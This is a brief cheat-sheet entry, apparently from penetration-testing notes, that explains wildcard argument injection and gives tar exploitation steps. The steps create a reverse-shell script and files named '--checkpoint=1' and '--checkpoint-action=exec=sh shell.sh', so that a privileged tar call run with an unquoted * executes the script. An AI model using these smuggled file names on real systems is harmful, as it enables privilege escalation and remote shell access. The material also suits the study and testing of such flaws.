Summery
Wildcard (aka glob) argument injection happens when a privileged script runs a Unix binary such as tar, chown, rsync, zip, 7z, … with an unquoted wildcard like *.
Since the shell expands the wildcard before executing the binary, an attacker who can create files in the working directory can craft filenames that begin with - so they are interpreted as options instead of data, effectively smuggling arbitrary flags or even commands.
Commands
TAR
- Make
shell.sh, for example containing a Basic Bash reverse shell - Make it executable
chmod +x shell.sh - Create both
touch -- "--checkpoint=1"andtouch -- "--checkpoint-action=exec=sh shell.sh"so that the vulnerable privileged script takes them as arguments in a command